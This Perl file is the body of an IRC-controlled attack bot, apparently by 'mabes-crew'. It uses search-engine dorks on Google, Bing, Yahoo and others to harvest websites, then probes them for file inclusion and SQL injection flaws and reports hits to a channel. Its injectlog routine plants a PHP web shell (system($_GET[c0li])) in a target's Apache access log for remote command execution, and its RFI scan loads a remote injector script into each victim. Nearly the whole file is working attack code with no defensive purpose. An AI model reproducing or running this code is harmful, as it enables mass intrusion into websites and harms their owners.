##################################################################### Google Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GooGLe";					my $bugx = $1;					my $d0rk = $2;					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 Dork :4 $d0rk");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 File :4 $bugx");					sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)7 Search Engine Loading ...");					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### AllTheWeb Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AllTheWeb";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Bing Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "Bing";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Altavista Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "ALtaViSTa";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### ASK Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "AsK";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### UoL Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "UoL";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Lycos Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "LyCos";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### GoodSearch Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "GoodSearch";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### Yahoo Engine		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					my $engx = "YahOo";					my $bugx = $1;					my $d0rk = $2;					&amp;mssqlscan($engx,$bugx,$d0rk);				}				exit;			}		}
##################################################################### 		##################################################################### Apache Log Injection		if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {			if (my $pid = fork) {				waitpid($pid, 0);			}			else {				if (fork) {	exit; } else {					&amp;injectlog($1,$2);				}				exit;			}		}
for(my $c=0; $c&lt;= $#lines; $c++) {			$line = $lines[$c];			$line=$line_temp.$line if ($line_temp);			$line_temp='';			$line =~ s/\r$//;			unless ($c == $#lines) {				parse("$line");			} else {				if ($#lines == 0) {					parse("$line");				} elsif ($lines[$c] =~ /\r$/) {					parse("$line");				} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {					parse("$line");				} else {					$line_temp = $line;				}			}		}	}}
##################################################################### Procedure
sub injectlog() {	my $host = $_[0];	my $port = $_[1];	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)12 Injecting7 ".$host.":".$port." 12Apache Access Log ...");	my $php = "&lt;?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?&gt;";	$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; "tcp") ||	die sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 ".$host.":".$port."");	print $sock "GET /mabes-crew.UnderGrounD ".$php." HTTP/1.1\r\n";	print $sock "Host: ".$host."\r\n";	print $sock "Connection: close\r\n\r\n";	close($sock);	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12is Done ...");	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Parameter  -&gt;3 c0li");	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Identifier -&gt;3 mabes-crew.UnderGrounD");}
sub rfiscan() {	my $engz = $_[0];	my $bugz = $_[1];	my $dork = $_[2];	my $contatore = 0;	if ($engz =~ /GooGLe/) {		my @google=&amp;google($dork);		push(@total, @google);	}	if ($engz =~ /AllTheWeb/) {		my @alltheweb=&amp;alltheweb($dork);		push(@total, @alltheweb);	}	if ($engz =~ /Bing/) {		my @Bing=&amp;Bing($dork);		push(@total, @Bing);	}	if ($engz =~ /ALtaViSTa/) {		my @altavista=&amp;altavista($dork);		push(@total, @altavista);	}	if ($engz =~ /AsK/) {		my @ask=&amp;ask($dork);		push(@total, @ask);	}	if ($engz =~ /UoL/) {		my @uol=&amp;uol($dork);		push(@total, @uol);	}	if ($engz =~ /LyCos/) {		my @lycos=&amp;lycos($dork);		push(@total, @lycos);	}	if ($engz =~ /GoodSearch/) {		my @goodsearch=&amp;goodsearch($dork);		push(@total, @goodsearch);	}	if ($engz =~ /YahOo/) {		my @yahoo=&amp;yahoo($dork);		push(@total, @yahoo);	}	my @clean=&amp;calculate(@total);	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");	if (scalar(@clean) != 0) {		sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork");	}	my $uni=scalar(@clean);	foreach my $target (@clean)	{		$contatore++;		if ($contatore==$uni-1){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork");		}		my $xpl  = "http://".$target.$bugz.$injector."?";		my $vuln = "http://".$target."12".$bugz."7".$phpshell."?";		my $re   = getcontent($xpl);		if($re =~ /$rfi_result/ &amp;&amp; $re =~ /uid=/){			os($xpl);			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@3SAFEMODE-OFF15)");		}		elsif($re =~ /$rfi_result/)		{			os($xpl);			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@4SAFEMODE-ON15)");		}	}}
sub lfiscan() {	my $engz = $_[0];	my $bugz = $_[1];	my $dork = $_[2];	my $contatore = 0;		if ($engz =~ /GooGLe/) {		my @google=&amp;google($dork);		push(@total, @google);		}	if ($engz =~ /AllTheWeb/) {		my @alltheweb=&amp;alltheweb($dork);		push(@total, @alltheweb);	}	if ($engz =~ /Bing/) {		my @Bing=&amp;Bing($dork);		push(@total, @Bing);	}	if ($engz =~ /ALtaViSTa/) {		my @altavista=&amp;altavista($dork);		push(@total, @altavista);	}	if ($engz =~ /AsK/) {		my @ask=&amp;ask($dork);		push(@total, @ask);	}	if ($engz =~ /UoL/) {		my @uol=&amp;uol($dork);		push(@total, @uol);	}	if ($engz =~ /LyCos/) {		my @lycos=&amp;lycos($dork);		push(@total, @lycos);	}	if ($engz =~ /GoodSearch/) {		my @goodsearch=&amp;goodsearch($dork);		push(@total, @goodsearch);	}	if ($engz =~ /YahOo/) {		my @yahoo=&amp;yahoo($dork);		push(@total, @yahoo);	}	my @clean = &amp;calculate(@total);	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");	if (scalar(@clean) != 0) {		sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork");	}	my $uni=scalar(@clean);	foreach my $target (@clean)	{		$contatore++;		if ($contatore==$uni-1){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork");		}		my $xpl  = "http://".$target.$bugz.$lfi_test;		my $vuln = "http://".$target."12".$bugz."7".$lfi_test."";		my $re   = getcontent($xpl);		if ($re  =~ /$lfi_output/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@3mabes-crew15)");		}	}}
sub mysqlscan() {	my $engz = $_[0];	my $bugz = $_[1];	my $dork = $_[2];	my $contatore = 0;	if ($engz =~ /GooGLe/) {		my @google=&amp;google($dork);		push(@total, @google);		}	if ($engz =~ /AllTheWeb/) {		my @alltheweb=&amp;alltheweb($dork);		push(@total, @alltheweb);	}	if ($engz =~ /Bing/) {		my @Bing=&amp;Bing($dork);		push(@total, @Bing);	}	if ($engz =~ /ALtaViSTa/) {		my @altavista=&amp;altavista($dork);		push(@total, @altavista);	}	if ($engz =~ /AsK/) {		my @ask=&amp;ask($dork);		push(@total, @ask);	}	if ($engz =~ /UoL/) {		my @uol=&amp;uol($dork);		push(@total, @uol);	}	if ($engz =~ /LyCos/) {		my @lycos=&amp;lycos($dork);		push(@total, @lycos);	}	if ($engz =~ /GoodSearch/) {		my @goodsearch=&amp;goodsearch($dork);		push(@total, @goodsearch);	}	if ($engz =~ /YahOo/) {		my @yahoo=&amp;yahoo($dork);		push(@total, @yahoo);	}	my @clean = &amp;calculate(@total);	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");	if (scalar(@clean) != 0) {		sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");	}	my $uni = scalar(@clean);	foreach my $target (@clean)	{		$contatore++;		if ($contatore==$uni-1){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");		}		my $xpl  = "http://".$target.$bugz.$sql_test;		my $vuln = "http://".$target."12".$bugz."7[SQL]";		my $re   = getcontent($xpl);		if ($re  =~ /$mysql_output/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3mabes-crew15)");		}	}}

sub mssqlscan() {	my $engz = $_[0];	my $bugz = $_[1];	my $dork = $_[2];	my $contatore = 0;	if ($engz =~ /GooGLe/) {		my @google=&amp;google($dork);		push(@total, @google);		}	if ($engz =~ /AllTheWeb/) {		my @alltheweb=&amp;alltheweb($dork);		push(@total, @alltheweb);	}	if ($engz =~ /Bing/) {		my @Bing=&amp;Bing($dork);		push(@total, @Bing);	}	if ($engz =~ /ALtaViSTa/) {		my @altavista=&amp;altavista($dork);		push(@total, @altavista);	}	if ($engz =~ /AsK/) {		my @ask=&amp;ask($dork);		push(@total, @ask);	}	if ($engz =~ /UoL/) {		my @uol=&amp;uol($dork);		push(@total, @uol);	}	if ($engz =~ /LyCos/) {		my @lycos=&amp;lycos($dork);		push(@total, @lycos);	}	my @clean = &amp;calculate(@total);	sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");	if (scalar(@clean) != 0) {		sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");	}	my $uni = scalar(@clean);	foreach my $target (@clean)	{		$contatore++;		if ($contatore==$uni-1){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");		}		my $xpl  = "http://".$target.$bugz.$sql_test;		my $vuln = "http://".$target."12".$bugz."7[SQL]";		my $re   = getcontent($xpl);		if ($re  =~ /$mssql_output/){			sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3mabes-crew15)");		}	}}
sub os() {	my $site = $_[0];	my $re   = &amp;query($site);	while ($re =~ m/&lt;br&gt;os:(.+?)&lt;br&gt;/g) {		$os = $1;		if ($1 eq "") { $os = "UnKn0wN"; }	}}
sub response() {    my $re = getcontent($injector);    if ($re =~ /pZLNd8MwEITvg/) {        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 ? 3OK12 ?");    }    else {        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 ? 4JAH12 ?");    }}
sub getcontent() {    $url    = $_[0];    my $req = HTTP::Request-&gt;new(GET =&gt; $url);    my $ua  = LWP::UserAgent-&gt;new();    $ua-&gt;timeout(5);    my $response = $ua-&gt;request($req);    return $response-&gt;content;}
sub google(){    my @lst;    my $key = $_[0];    my $b   = 0;    for ($b=0; $b&lt;=1000; $b+=100){        my $Go=("http://www.google.com/search?q=".key($key)."&amp;num=100&amp;filter=0&amp;start=".$b);        my $Res=query($Go);        while ($Res =~ m/&lt;a href=\"?http:\/\/([^&gt;\"]*)\//g){            if ($1 !~ /google/){                my $k=$1;                my @grep=links($k);                push(@lst,@grep);            }		}	}return @lst;}
sub alltheweb() {    my @lst;    my $key = $_[0];    my $b   = 0;    my $pg  = 0;    for ($b=0; $b&lt;=1000; $b+=100) {        my $all = ("http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=".key($key)."&amp;o=".$b);        my $Res = query($all);        while ( $Res =~ m/&lt;span class=\"?resURL\"?&gt;http:\/\/(.+?)\&lt;\/span&gt;/g ) {            my $k = $1;            $k =~ s/ //g;            my @grep = links($k);            push( @lst, @grep );        }    }    return @lst;}
sub uol() {    my @lst;    my $key = $_[0];    my $b   = 0;    for ($b=1; $b&lt;=1000; $b+=10) {        my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&amp;start=".$b);        my $Res = query($UoL);        while ( $Res =~ m/&lt;a href=\"http:\/\/([^&gt;\"]*)/g ) {            my $k = $1;            if ( $k !~ /busca|uol|yahoo/ ) {                my $k    = $1;                my @grep = links($k);                push( @lst, @grep );            }        }    }    return @lst;}
sub Bing() {    my @lst;    my $key = $_[0];    my $b   = 0;    for ($b=1; $b&lt;=1000; $b+=10) {        my $bing = ("http://www.bing.com/search?q=".key($key)."&amp;filt=all&amp;first=".$b."&amp;FORM=PERE");        my $Res = query($bing);        while ( $Res =~ m/&lt;a href=\"?http:\/\/([^&gt;\"]*)\//g ) {            if ( $1 !~ /msn|live|bing/ ) {                my $k    = $1;                my @grep = links($k);                push( @lst, @grep );            }        }    }    return @lst;}
sub altavista(){    my @lst;    my $key = $_[0];    my $b   = 0;    for ($b=1; $b&lt;=1000; $b+=10){        my $AlT=("http://it.altavista.com/web/results?itag=ody&amp;kgs=0&amp;kls=0&amp;dis=1&amp;q=".key($key)."&amp;stq=".$b);        my $Res=query($AlT);        while ($Res=~m/&lt;span&gt;(.+?)\//g){            if ($1 !~ /altavista/){                my $k=$1;                $k=~s/&lt;//g;                $k=~s/ //g;                my @grep=links($k);                push(@lst,@grep);            }		}	}return @lst;}
sub ask() {    my @lst;    my $key = $_[0];    my $b   = 0;    my $pg  = 0;    for ($b=0; $b&lt;=1000; $b+=10) {        my $Ask = ("http://it.ask.com/web?q=".key($key)."&amp;o=0&amp;l=dir&amp;qsrc=0&amp;qid=EE90DE6E8F5370F363A63EC61228D4FE&amp;dm=all&amp;page=".$b);        my $Res = query($Ask);        while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {            if ($1 !~ /ask.com/){				my $k = $1;				my @grep = links($k);				push( @lst, @grep );			}        }    }    return @lst;}
sub lycos() {	my @lst;	my $key = $_[0];    my $b   = 0;	for ($b=0; $b&lt;=1000; $b+=10) {        my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&amp;query=".key($key)."&amp;cat=web&amp;enc=utf-8");        my $Res = query($lyc);        while ($Res =~ m/href=\"http:\/\/(.+?)\"  &gt;/g) {            if ($1 !~ /lycos/){                my $k = $1;                my @grep = links($k);                push(@lst, @grep);            }        }    }    return @lst;}
sub goodsearch() {	my @lst;	my $key = $_[0];    my $b   = 0;	for ($b=1; $b&lt;=500; $b+=1) {        my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&amp;page=".$b."&amp;osmax=0");        my $Res = query($goods);        while ($Res =~ m/&lt;a href=\"(Redirect.+?)\"&gt;http:\/\/(.*?)&lt;\/a&gt;/g) {            if ($2 !~ /goodsearch/){                my $k = $2;                my @grep = links($k);                push(@lst, @grep);            }        }    }    return @lst;}
sub yahoo() {	my @lst;	my $key = $_[0];    my $b   = 0;	for ($b=1; $b&lt;=500; $b+=1) {        my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&amp;ei=UTF-8&amp;fr=yfp-t-501&amp;fp_ip=IT&amp;pstart=1&amp;b=".$b);        my $Res = query($yahoo);        while ($Res =~ m/26u=(.*?)%26w=/g) {            if ($1 !~ /yahoo/){                my $k = $1;                my @grep = links($k);                push(@lst, @grep);            }        }    }    return @lst;}
sub links() {	my @l;	my $link = $_[0];	my $host = $_[0];	my $hdir = $_[0];	$hdir =~ s/(.*)\/[^\/]*$/\1/;	$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;	$host .= "/";	$link .= "/";	$hdir .= "/";	$host =~ s/\/\//\//g;	$hdir =~ s/\/\//\//g;	$link =~ s/\/\//\//g;	push( @l, $link, $host, $hdir );	return @l;}
sub key() {	my $dork = $_[0];	$dork =~ s/ /\+/g;	$dork =~ s/:/\%3A/g;	$dork =~ s/\//\%2F/g;	$dork =~ s/&amp;/\%26/g;	$dork =~ s/\"/\%22/g;	$dork =~ s/,/\%2C/g;	$dork =~ s/\\/\%5C/g;	return $dork;}
sub query($) {	my $url = $_[0];	$url =~ s/http:\/\///;	my $host  = $url;	my $query = $url;	my $page  = "";	$host  =~ s/href=\"?http:\/\///;	$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;	$query =~ s/$host//;	if ( $query eq "" ) { $query = "/"; }		eval {			my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; "$host", PeerPort =&gt; "80", Proto =&gt; "tcp") or return;			print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";			my @r = &lt;$sock&gt;;			$page = "@r";			close($sock);		};	return $page;}
sub calculate {	my @calculate = ();	my %visti = ();	foreach my $element (@_) {		$element =~ s/\/+/\//g;		next if $visti{$element}++;		push @calculate, $element;	}	return @calculate;}
sub nick {	return unless $#_ == 0;	sendraw("NICK $_[0]");}
sub notice {	return unless $#_ == 1;	sendraw("NOTICE $_[0] :$_[1]");}